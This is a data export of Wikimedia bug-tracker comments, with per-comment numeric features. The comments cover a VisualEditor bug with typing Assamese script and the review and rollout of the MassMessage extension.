I tested it in Assamese wikipedia because on 5th September it was mentioned that ""please re-open if you find that it is still happening after tomorrow (when the code will go live on the Assamese Wikipedia)"". I tested it in mediawiki today and found some problems. I'll wait until Thursday and test it in aswiki again. Thank you.",,,1379403525,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,False,,,11,,1.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,3.0,6.0,3.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,3.0,12.0,6.0,3.0,4.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,13.0,16.0,9.0,0.0,3.0,0.0,13.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.896103896103896,0.7142857142857143,"**gitartha.bordoloi** wrote:

I tested it in Assamese wikipedia because on 5th September it was mentioned that ""please re-open if you find that it is still happening after tomorrow (when the code will go live on the Assamese Wikipedia)"". I tested it in mediawiki today and found some problems. I'll wait until Thursday and test it in aswiki again. Thank you."
251764,VisualEditor: Typing problem in Assamese,"(In reply to comment #6)
> Hello. I'm reopening the bug as the problems mentioned earlier are still
> there. Nothing has changed.

Which wiki did you test? The changes only went out to MediaWiki.org last Thursday, 12 September (so you can test these at https://mediawiki.org/wiki/VisualEditor:Test or similar) - they will not be released to the Assamese Wikipedia until this Thursday, 19 September.",,,1379346325,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,22.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,7.0,0.0,5.0,0.0,5.0,12.0,10.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7457627118644066,0.8135593220338984,"(In reply to comment #6)
QUOTE
QUOTE

Which wiki did you test? The changes only went out to MediaWiki.org last Thursday, 12 September (so you can test these at URL or similar) - they will not be released to the Assamese Wikipedia until this Thursday, 19 September."
251759,VisualEditor: Typing problem in Assamese,"**gitartha.bordoloi** wrote:

Hello. I'm reopening the bug as the problems mentioned earlier are still there. Nothing has changed.",,,1379327158,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.071428571428571,0.7857142857142857,"**gitartha.bordoloi** wrote:

Hello. I'm reopening the bug as the problems mentioned earlier are still there. Nothing has changed."
251753,VisualEditor: Typing problem in Assamese,Going to provisionally mark this as fixed - please re-open if you find that it is still happening after tomorrow (when the code will go live on the Assamese Wikipedia).,,,1378341679,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,6.0,20.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,3.9714285714285715,0.9428571428571428,Going to provisionally mark this as fixed - please re-open if you find that it is still happening after tomorrow (when the code will go live on the Assamese Wikipedia).
251748,VisualEditor: Typing problem in Assamese,I think https://gerrit.wikimedia.org/r/#/c/80080/ may have solved this - let us know!,,,1377353858,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,25.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0833333333333335,1.0,I think URL may have solved this - let us know!
251743,VisualEditor: Typing problem in Assamese,"Hello, Thanks for reporting this. We are currently working to resolve the several issues around using Indic language scripts on the VisualEditor and we expect to resolve them soon. The problem reported in the current bug is also known and exists in other Indic scripts as well.  More discussion about this topic can also be found on bug #49569 . Thanks.",,,1376926685,,PHID-USER-ttw4tpoosxc4pbmskrla,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,False,,,7,,1.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,6.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,6.0,4.0,13.0,0.0,3.0,9.0,0.0,0.0,0.0,1.0,4.0,1.0,1.0,0.0,4.0,13.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,4.3088235294117645,0.75,"Hello, Thanks for reporting this. We are currently working to resolve the several issues around using Indic language scripts on the VisualEditor and we expect to resolve them soon. The problem reported in the current bug is also known and exists in other Indic scripts as well.  More discussion about this topic can also be found on bug #49569 . Thanks."
251737,VisualEditor: Typing problem in Assamese,"**gitartha.bordoloi** wrote:

(In reply to comment #1)
> Thanks for taking the time to report this!
> 
> (In reply to comment #0)
> > doesn't support Assamese script well
> > While writing with some tools
> > in-built keyboards do not work at all
> 
> Can you please provide more information / exact steps to reproduce the
> problems, plus information about browser and version? Also, what are ""some
> tools"" exactly?
> Also see https://www.mediawiki.org/wiki/How_to_report_a_bug . Thanks!

Thanks for pointing out the problems with the report.

* I have tested it in Mozilla Firefox 22 and Google chrome 23.
* There are currently 6 input layouts for Assamese under ULS. While trying to write Assamese in visualeditor with any one of them, NO Assamese character comes out.
* 'Some tools' refer various Assamese writing tools like to Rodali, Baraha, Azhagi+, Avro barnana etc.

With Rodali, there seems to be problems with vowels like  ী (ঈ), ূ (ঊ), ৌ (ঔ). So while trying to write 'অসমীয়া', it becomes 'অসীয়া'. 'মূহুৰ্ত' becomes ' ূহুৰ্ত', 'কৌটি' becomes ' ৌটি' etc.

with Azhagi+, the problem is more. Only the last vowel character of a word is shown in visualeditor. So 'অসমীয়া' becomes 'া'.

With Baraha, the problem is again with vowel characters like ঐ and ঔ. So 'সৈমান' becomes ' ৈমান'.

Similar problems exists with Avro.",,,1376765523,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,False,,,6,,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,3.0,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,8.666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,2.3333333333333335,10.333333333333334,0.0,1.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,0.3333333333333333,0.6666666666666666,2.3333333333333335,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,2.0,14.333333333333334,0.6666666666666666,0.6666666666666666,3.3333333333333335,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,2.0,0.0,1.3333333333333333,10.333333333333334,11.0,0.0,8.666666666666666,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,0.0,1.6666666666666667,3.3758744855967078,0.5989197530864198,"**gitartha.bordoloi** wrote:

(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thanks for pointing out the problems with the report.

* I have tested it in Mozilla Firefox 22 and Google chrome 23.
* There are currently 6 input layouts for Assamese under ULS. While trying to write Assamese in visualeditor with any one of them, NO Assamese character comes out.
* 'Some tools' refer various Assamese writing tools like to Rodali, Baraha, Azhagi+, Avro barnana etc.

With Rodali, there seems to be problems with vowels like  ী (ঈ), ূ (ঊ), ৌ (ঔ). So while trying to write 'অসমীয়া', it becomes 'অসীয়া'. 'মূহুৰ্ত' becomes ' ূহুৰ্ত', 'কৌটি' becomes ' ৌটি' etc.

with Azhagi+, the problem is more. Only the last vowel character of a word is shown in visualeditor. So 'অসমীয়া' becomes 'া'.

With Baraha, the problem is again with vowel characters like ঐ and ঔ. So 'সৈমান' becomes ' ৈমান'.

Similar problems exists with Avro."
251728,VisualEditor: Typing problem in Assamese,"Thanks for taking the time to report this!

(In reply to comment #0)
> doesn't support Assamese script well
> While writing with some tools
> in-built keyboards do not work at all

Can you please provide more information / exact steps to reproduce the problems, plus information about browser and version? Also, what are ""some tools"" exactly?
Also see https://www.mediawiki.org/wiki/How_to_report_a_bug . Thanks!",,,1376388861,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,6,,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,16.0,0.0,3.0,6.0,0.0,0.0,3.0,2.0,8.0,2.0,2.0,0.0,2.0,11.0,2.0,3.0,3.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,3.6984126984126986,0.746031746031746,"Thanks for taking the time to report this!

(In reply to comment #0)
QUOTE
QUOTE
QUOTE

Can you please provide more information / exact steps to reproduce the problems, plus information about browser and version? Also, what are ""some tools"" exactly?
Also see URL . Thanks!"
54723,Review and deploy MassMessage extension to Wikimedia wikis,"MassMessage is an extension that allows a user to send a message to a list of pages through a special page and the job queue. It is intended to replace [[m:Global message delivery]].

More details are available at [[mw:Extension:MassMessage]], and there is a test instance at http://legoktm.instance-proxy.wmflabs.org/wiki/Main_Page

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement
**URL**: https://www.mediawiki.org/wiki/Extension:MassMessage",Medium,50.0,1376204700,1384889083.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-ymnidmb2ap2g4se52stx,task_description,resolved,True,c1,3,False,False,False,5,,0.0,0.0,0.0,1.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,1.0,0.0,18.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,4.0,12.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,8.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,6.0,0.0,0.0,1.0,0.0,6.0,3.5053763440860215,0.5698924731182796,"MassMessage is an extension that allows a user to send a message to a list of pages through a special page and the job queue. It is intended to replace [[m:Global message delivery]].

More details are available at [[mw:Extension:MassMessage]], and there is a test instance at URL

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement
**URL**: URL"
251556,Review and deploy MassMessage extension to Wikimedia wikis,"Change 91344 had a related patch set uploaded by MZMcBride:
Enable MassMessage on all wikis

https://gerrit.wikimedia.org/r/91344",,,1382635706,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,16,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,4.7368421052631575,1.0,"Change 91344 had a related patch set uploaded by MZMcBride:
Enable MassMessage on all wikis

GERRIT_URL"
251551,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #59)
> Lego: can you please submit a changeset to enable MassMessage on all (public)
> Wikimedia wikis?

I submitted https://gerrit.wikimedia.org/r/#/c/91344/ a few days ago.",,,1382632875,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,16,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.857142857142857,0.9047619047619048,"(In reply to comment #59)
QUOTE
QUOTE

I submitted URL a few days ago."
251545,Review and deploy MassMessage extension to Wikimedia wikis,Lego: can you please submit a changeset to enable MassMessage on all (public) Wikimedia wikis?,,,1382632099,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,16,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,5.0,11.0,16.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.2105263157894735,1.0,Lego: can you please submit a changeset to enable MassMessage on all (public) Wikimedia wikis?
251538,Review and deploy MassMessage extension to Wikimedia wikis,"I've been working with Aaron via email on the architecture review and I believe everything has been resolved (cc'd Aaron to get confirmation on that).

(In reply to comment #57)
> All of the blocking bugs have been resolved. What happens now? (Greg?)

Thanks for merging :). I just added bug 55822 which is a config change for how the jobs will get processed, it would be good to get that deployed and make sure there are no issues before the full deployment.",,,1381975397,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,15,,0.0,1.0,0.0,1.0,0.0,4.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,4.0,0.0,2.0,13.0,1.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,6.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,6.0,10.0,1.0,2.0,10.0,0.0,1.0,0.0,1.0,7.0,0.0,2.0,0.0,6.0,13.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,3.869047619047619,0.7738095238095238,"I've been working with Aaron via email on the architecture review and I believe everything has been resolved (cc'd Aaron to get confirmation on that).

(In reply to comment #57)
QUOTE

Thanks for merging :). I just added bug 55822 which is a config change for how the jobs will get processed, it would be good to get that deployed and make sure there are no issues before the full deployment."
251530,Review and deploy MassMessage extension to Wikimedia wikis,All of the blocking bugs have been resolved. What happens now? (Greg?),,,1381932420,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,True,,,15,,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,3.4705882352941178,0.9411764705882353,All of the blocking bugs have been resolved. What happens now? (Greg?)
251523,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #54)
> One more thing - we'll need to add standard licensing/ToS language to the
> submit screen to ensure content is licensed consistent with Wikimedia
> requirements. The wikimedia-copyrightwarning message in the WikimediaMessages
> extension should do the trick.

(The relevant function is EditPage::getCopyrightWarning(), the messages shouldn't be used directly.)",,,1380916155,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,20.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.914285714285714,0.7142857142857143,"(In reply to comment #54)
QUOTE
QUOTE
QUOTE
QUOTE

(The relevant function is EditPage::getCopyrightWarning(), the messages shouldn't be used directly.)"
251517,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #53)
> I have a quick question about the extension itself. Maybe I'm reading this
> code
> wrong, but the extension appears to iterate through the recipients on the
> special page, and then make a new job for each recipient. If this is true,
> that
> means that this extension would be launching thousands of jobs from a single
> web request. It kind of defeats the purpose of the job queue in the first
> place.

Yes, that's correct. I'm not sure how it defeats the purpose of the job queue though. We could do it like refreshlinks works and submit a job that submits more jobs, but I don't see how that would be any better. I did a simple test on testwiki a week ago and submitted 2k jobs at once and it seemed to work fine.

> 
> Also, do people have some sort of irrational fear of the FormSpecialPage
> class?

I actually didn't know that existed until now. I basically forked the code of TranslationNotifications and used that...",,,1380906728,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1.0,0.0,0.0,0.0,2.0,4.0,1.0,0.0,0.5,0.0,0.5,2.0,0.0,0.0,0.0,4.0,0.0,9.0,6.0,0.0,1.5,0.0,0.0,0.0,5.5,0.5,0.0,0.0,0.5,1.0,0.0,3.5,1.5,2.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,9.5,3.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,1.5,0.0,1.0,0.0,0.5,1.0,4.0,1.0,12.5,1.5,3.5,7.0,0.0,0.0,0.0,0.5,4.5,0.5,1.5,0.0,6.0,6.0,5.5,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,1.5,0.0,0.0,3.5538914490527396,0.7122375832053252,"(In reply to comment #53)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, that's correct. I'm not sure how it defeats the purpose of the job queue though. We could do it like refreshlinks works and submit a job that submits more jobs, but I don't see how that would be any better. I did a simple test on testwiki a week ago and submitted 2k jobs at once and it seemed to work fine.

QUOTE
QUOTE
QUOTE

I actually didn't know that existed until now. I basically forked the code of TranslationNotifications and used that..."
251511,Review and deploy MassMessage extension to Wikimedia wikis,One more thing - we'll need to add standard licensing/ToS language to the submit screen to ensure content is licensed consistent with Wikimedia requirements. The wikimedia-copyrightwarning message in the WikimediaMessages extension should do the trick.,,,1380906422,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,12.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,12.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,2.0,12.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.190476190476191,0.8571428571428571,One more thing - we'll need to add standard licensing/ToS language to the submit screen to ensure content is licensed consistent with Wikimedia requirements. The wikimedia-copyrightwarning message in the WikimediaMessages extension should do the trick.
251504,Review and deploy MassMessage extension to Wikimedia wikis,"I have a quick question about the extension itself. Maybe I'm reading this code wrong, but the extension appears to iterate through the recipients on the special page, and then make a new job for each recipient. If this is true, that means that this extension would be launching thousands of jobs from a single web request. It kind of defeats the purpose of the job queue in the first place.

Also, do people have some sort of irrational fear of the FormSpecialPage class?",,,1380906258,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,2.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,5.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,2.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,20.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,7.0,2.0,2.0,18.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,15.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,3.0,1.0,2.0,0.0,0.0,0.0,4.105263157894737,0.7157894736842105,"I have a quick question about the extension itself. Maybe I'm reading this code wrong, but the extension appears to iterate through the recipients on the special page, and then make a new job for each recipient. If this is true, that means that this extension would be launching thousands of jobs from a single web request. It kind of defeats the purpose of the job queue in the first place.

Also, do people have some sort of irrational fear of the FormSpecialPage class?"
251497,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #48)
> (In reply to comment #39)
<snip>

I've filed bug 54954 as a blocker to this one. I've asked a few preliminary questions on how this should be implemented, so if people who have options could comment there please :)",,,1380863370,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,8.0,4.0,2.0,8.0,0.0,2.0,0.0,2.0,6.0,2.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,6.0,3.5384615384615383,0.8653846153846154,"(In reply to comment #48)
QUOTE
<snip>

I've filed bug 54954 as a blocker to this one. I've asked a few preliminary questions on how this should be implemented, so if people who have options could comment there please :)"
251492,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #48)
If there is any way to do global logs (alongside local ones) this would be a very good place to use that, as that would make all wikis much more easily accountable for any usage of this tool.

That said you're probably right in that just enabling the sending part on meta would be better, since, on top of logs and such all being in one place, usage guidelines and crap would also be better synced. And implicitly trusting all admins isn't necessarily a good idea when different projects can have completely different methods and standards when approaching problems, and on top of that pretty much anyone can become an admin at least somewhere (which isn't even necessarily a bad thing, since if they happen to be in the right place even the most unexpected of folks can prove quite useful, but also doesn't mean it should carry weight elsewhere).

